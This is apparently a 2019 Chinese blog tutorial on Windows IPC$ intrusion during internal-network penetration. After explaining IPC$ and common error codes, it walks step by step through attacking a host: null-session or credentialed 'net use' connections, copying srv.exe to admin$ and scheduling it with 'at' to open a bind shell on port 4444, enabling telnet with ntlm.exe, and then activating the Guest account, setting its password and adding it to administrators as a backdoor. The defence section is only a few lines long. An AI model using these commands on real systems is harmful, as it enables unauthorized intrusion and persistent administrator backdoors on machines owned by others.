复制代码

4. 内网渗透之IPC$入侵

IPC$连接

IPC$的概念:

IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的
命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

IPC$的作用:

利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。

IPC$的利用条件:

1. 139,445端口开启     
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过
139,
445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.

2. 管理员开启了默认共享
默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或
windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问

IPC$连接失败的原因:

1.你的系统不是NT或以上操作系统.
2.对方没有打开ipc$默认共享。
3.不能成功连接目标的139,445端口.
4.命令输入错误.
5.用户名或密码错误.

常见错误号:

1.错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
2.错误号51,Windows 无法找到网络路径 : 网络有问题;
3.错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
4.错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 
5.错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 6.错误号1326,未知的用户名或错误密码 : 原因很明显了; 7.错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况) 8.错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。

具体操作命令:

1.建立IPC$空连接:

net use \\127.0.0.1\ipc$ "" /user:""

2.建立完整的用户名,密码连接:

net use \\127.0.0.1\ipc$ "password" /user:"username"

3.映射路径:

net use z: \\127.0.0.1\c$ "密码" /user:"用户名"  (即可将对方的c盘映射为自己的z盘,其他盘类推)

4.访问/删除路径:

net use z: \\127.0.0.1\c$   #直接访问
net use c: /del     删除映射的c盘,其他盘类推 
net use * /del      删除全部,会有提示要求按y确认

5.删除IPC$连接:

net use \\127.0.0.1\ipc$ /del

6.入侵过程:

(1)

C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" 

这是用《流光》扫到的用户名是administrators,密码为""的IP地址,如果是打算攻击的话,
就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"",所以第一个引号处就不用输入,
后面一个双引号里的是用户名,输入administrators,命令即可成功完成。

(2)

C:\>copy srv.exe \\127.0.0.1\admin$ 

先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,
大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

(3)

C:\>net time \\127.0.0.1 

查查时间,发现127.0.0.1 的当前时间是 2019/2/8 上午 11:00,命令成功完成。

(4)

C:\>at \\127.0.0.1 11:05 srv.exe 
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)

(5)

C:\>net time \\127.0.0.1

再查查到时间没有?如果127.0.0.1 的当前时间是 2019/2/8 上午 11:05,说明srv.exe已经执行,那就准备开始下面的命令。

(6)

C:\>telnet 127.0.0.1 4444
这里会用到Telnet命令吧,注意端口是4444。Telnet默认的是23端口,但是我们使用的是srv.exe在对方计算机中为我们建立一个4444端口的Shell。 虽然我们可以Telnet上去了,但是srv.exe是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

(7)

C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

(8)

C:\WINNT\system32>ntlm
 
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。
当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务! 

(9)

Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单

(10)

为了以防万一,我们再把guest激活加到管理组    
C:\>net user guest /active:yes 
将对方的Guest用户激活

(11)

C:\>net user guest 123456
将Guest的密码改为123456,或者你要设定的密码

(12)

C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

7.如何防御IPC$入侵:

net share       #查看自己的共享
net view \\IP   #查看target的共享
netstat -A IP   #获取target的user列表

8.netstat延伸使用:

netstat -ano | findstr "port"  #查看端口号对应的PID
tasklist | findstr "PID"       #查看进程号对应的程序

 

参考连接:

内网渗透实战-IPC$入侵之远程控制

 

posted @ 2019-02-08 10:33  bmjoker  阅读(8160)  评论(0编辑  收藏  举报